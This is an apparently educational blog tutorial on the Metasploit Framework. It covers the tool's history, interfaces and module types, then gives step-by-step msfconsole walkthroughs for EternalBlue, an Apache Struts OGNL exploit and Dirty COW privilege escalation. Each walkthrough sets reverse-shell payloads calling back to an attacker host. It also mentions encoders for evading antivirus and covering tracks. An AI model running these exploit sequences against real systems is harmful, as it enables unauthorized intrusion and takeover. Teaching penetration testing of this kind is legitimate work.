Metasploit Framework: An Overview of the Open Source Penetration Testing Tool

Greetings, fellow hackers! As professional pen testers and red teamers, we’re always on the lookout for tools to exploit vulnerabilities and improve our skills. Today, we’re going to dive deep into the Metasploit Framework, an open-source penetration testing tool that has earned its stripes as one of the most powerful and versatile tools in our arsenal.

In this comprehensive guide, we’ll explore the ins and outs of the Metasploit Framework, starting from its history, moving to its components and modules, and finally, diving into real-world examples to showcase its incredible capabilities. So, buckle up, and let’s get started!

History of the Metasploit Framework

Metasploit was created in 2003 by HD Moore as a portable network tool using Perl. In 2007, the Metasploit Framework was completely rewritten in Ruby, which significantly increased its flexibility and effectiveness. Rapid7, a security solutions provider, acquired Metasploit in 2009, and since then, they’ve been actively maintaining and improving the framework.

Throughout the years, Metasploit has become the go-to choice for professional hackers, cybersecurity researchers, and pen testers, thanks to its extensive list of features and powerful modules.

Metasploit Components

Metasploit offers several interfaces and components to interact with its powerful framework:

Metasploit Console (msfconsole)

Msfconsole is the primary interface for interacting with the Metasploit Framework. It provides an interactive, command-line experience that allows us to execute various commands, search for and run exploits, and manage sessions. This is the most commonly used interface among security professionals.

To start msfconsole, simply open a terminal and type:

msfconsole

Metasploit Command Line (msfcli)

Msfcli is a command-line interface for Metasploit that allows you to execute a single exploit without launching the full msfconsole. It’s useful when you want to run a quick exploit without the need for an interactive session.

Example usage:

msfcli exploit/windows/smb/ms17_010_eternalblue RHOST=192.168.1.10 RPORT=445 E

Metasploit GUI (Armitage)

Armitage is a graphical user interface (GUI) for Metasploit that provides a point-and-click experience for managing exploits and sessions. Armitage can be an excellent choice for beginners or those who prefer a visual interface.

To launch Armitage, open a terminal and type:

armitage

Metasploit Community / Pro Web Interface

Metasploit Community and Pro editions offer a web-based interface that comes with additional features, such as vulnerability management and automated exploitation. These editions are aimed at enterprises and require a license to access their full capabilities.

Metasploit Modules

Metasploit’s true power comes from its extensive collection of modules. These modules are divided into several categories, each serving a specific purpose.

Exploit Modules

Exploit modules are the heart of Metasploit. These modules contain code for exploiting a specific vulnerability in a target system. Metasploit has over 1,900 exploit modules, targeting a wide range of vulnerabilities in various operating systems and applications.

Example exploit module:

exploit/windows/smb/ms17_010_eternalblue

Auxiliary Modules

Auxiliary modules are designed to assist in tasks such as scanning, fuzzing, and reconnaissance. While they don’t exploit vulnerabilities directly, they provide valuable information that can be used to identify potential targets and attack vectors.

Example auxiliary module:

auxiliary/scanner/http/dir_scanner

Post-Exploitation Modules

Post-exploitation modules help you maintain access and perform actions on a compromised system after a successful exploit. They allow you to gather information, pivot to other systems, and cover your tracks.

Example post-exploitation module:

post/windows/gather/enum_logged_on_users

Payload Modules

Payload modules are the code that gets executed on a target system after a successful exploit. Metasploit has numerous payloads for various scenarios, including reverse shells, Meterpreter sessions, and command execution.

Example payload:

windows/meterpreter/reverse_tcp

No-operation (Nop) Modules

Nop modules generate a sequence of no-operation instructions to ensure the payload’s size remains consistent, even when the exploit’s space requirements change. This is particularly useful when evading security mechanisms that rely on detecting specific patterns.

Example Nop module:

x86/single_byte

Encoders

Encoders are used to obfuscate payloads to bypass security measures such as intrusion detection systems (IDS) and antivirus software. Encoders transform the payload into an encoded format that can be decoded during runtime.

Example encoder:

x86/shikata_ga_nai

Setting Up and Configuring Metasploit

To set up Metasploit, you can either download the pre-built binary packages for your operating system or compile the source code yourself. The Metasploit Framework is included by default in popular security-focused Linux distributions such as Kali Linux and Parrot Security OS.

To update Metasploit to the latest version, open a terminal and type:

msfupdate

Before running an exploit, you’ll need to configure the appropriate options for the module, target, and payload. Use the show options command in msfconsole to view the required and optional settings.

Real-World Examples and Scenarios

Let’s take a look at some real-world scenarios to understand how Metasploit can be used to exploit vulnerabilities and compromise systems.

Exploiting a Windows System with EternalBlue

EternalBlue is a well-known exploit targeting a vulnerability in Microsoft’s Server Message Block (SMB) protocol. In this example, we’ll use Metasploit to exploit a Windows system vulnerable to EternalBlue.

1. Start msfconsole:

   msfconsole
   

2. Search for the EternalBlue exploit:

   search eternalblue
   

3. Choose the appropriate exploit module (in this case, exploit/windows/smb/ms17_010_eternalblue) and use it:

   use exploit/windows/smb/ms17_010_eternalblue
   

4. Set the target IP address (RHOST):

   set RHOST 192.168.1.10
   

5. Choose a payload, such as the Meterpreter reverse TCP shell:

   set PAYLOAD windows/meterpreter/reverse_tcp
   

6. Set the LHOST (your IP address) for the reverse shell:

   set LHOST 192.168.1.5
   

7. Confirm the options are correctly set by typing show options and, if everything is in order, run the exploit:

   exploit
   

If successful, you’ll gain a Meterpreter session on the target system.

Gaining Access to a Linux Web Server using Apache Struts Vulnerability

In this scenario, we’ll exploit a vulnerability in Apache Struts to gain access to a Linux web server.

1. Start msfconsole:

   msfconsole
   

2. Search for the Apache Struts exploit:

   search struts
   

3. Choose the appropriate exploit module (in this case, exploit/multi/http/struts2_content_type_ognl) and use it:

   use exploit/multi/http/struts2_content_type_ognl
   

4. Set the target URL (RHOSTS and RPORT):

   set RHOSTS 192.168.1.20
   set RPORT 8080
   

5. Choose a payload, such as the Unix reverse TCP shell:

   set PAYLOAD cmd/unix/reverse_tcp
   

6. Set the LHOST (your IP address) for the reverse shell:

   set LHOST 192.168.1.5
   

7. Confirm the options are correctly set by typing show options and, if everything is in order, run the exploit:

   exploit
   

If successful, you’ll gain a reverse shell on the target Linux web server.

Privilege Escalation on a Linux System

After gaining initial access to a Linux system, you may want to escalate your privileges to perform further actions. In this example, we’ll use Metasploit to find a local exploit and escalate our privileges.

1. Start msfconsole:

   msfconsole
   

2. Search for local Linux exploits:

   search type:exploit platform:linux local
   

3. Choose an appropriate local exploit module based on the target system’s kernel version and vulnerabilities (for this example, let’s assume the target is vulnerable to Dirty COW, exploit/linux/local/dirtycow):

   use exploit/linux/local/dirtycow
   

4. Set the session ID (the session you’ve gained through a previous exploit):

   set SESSION 1
   

5. Choose a payload, such as the Linux Meterpreter reverse TCP shell:

   set PAYLOAD linux/x86/meterpreter/reverse_tcp
   

6. Set the LHOST (your IP address) for the reverse shell:

   set LHOST 192.168.1.5
   

7. Confirm the options are correctly set by typing show options and, if everything is in order, run the exploit:

   exploit
   

If successful, you’ll gain a new Meterpreter session with elevated privileges on the target Linux system.

Metasploit Tips and Tricks

Here are some valuable tips and tricks that can help you make the most of Metasploit:

1. Use search efficiently: Make use of the search command to find exploits, payloads, and other modules by keywords, platforms, and other criteria.
2. Save time with aliases: Create aliases for frequently used commands, like setting up LHOST and LPORT, by modifying the msfconsole.rc file in your Metasploit directory.
3. Use db_nmap: Integrate Nmap scans directly into Metasploit by using the db_nmap command. This command stores the Nmap scan results in the Metasploit database, allowing you to easily reference discovered hosts and services.
4. Keep track of sessions: Use the sessions command to view and manage all active sessions. You can interact with a specific session by typing sessions -i <session_id>.
5. Use post-exploitation modules: Make the most of post-exploitation modules to maintain access, pivot, and gather valuable information from compromised systems.
6. Use resource files: Automate repetitive tasks by creating resource files containing a series of msfconsole commands, and load them using the resource command.
7. Stay updated: Regularly update your Metasploit installation with msfupdate to ensure you have the latest modules and features.

Conclusion

The Metasploit Framework is an incredibly powerful and versatile tool for penetration testers and red teamers. With its extensive collection of modules and user-friendly interfaces, Metasploit has become an essential part of a hacker’s toolbox.

In this guide, we’ve explored the history of Metasploit, its components, modules, and real-world scenarios to showcase its capabilities. As a professional hacker, it’s crucial to master this tool to stay ahead of the game and efficiently exploit vulnerabilities in your target systems.

Remember, with great power comes great responsibility. Use Metasploit responsibly and ethically to help create a more secure digital world. Happy hacking!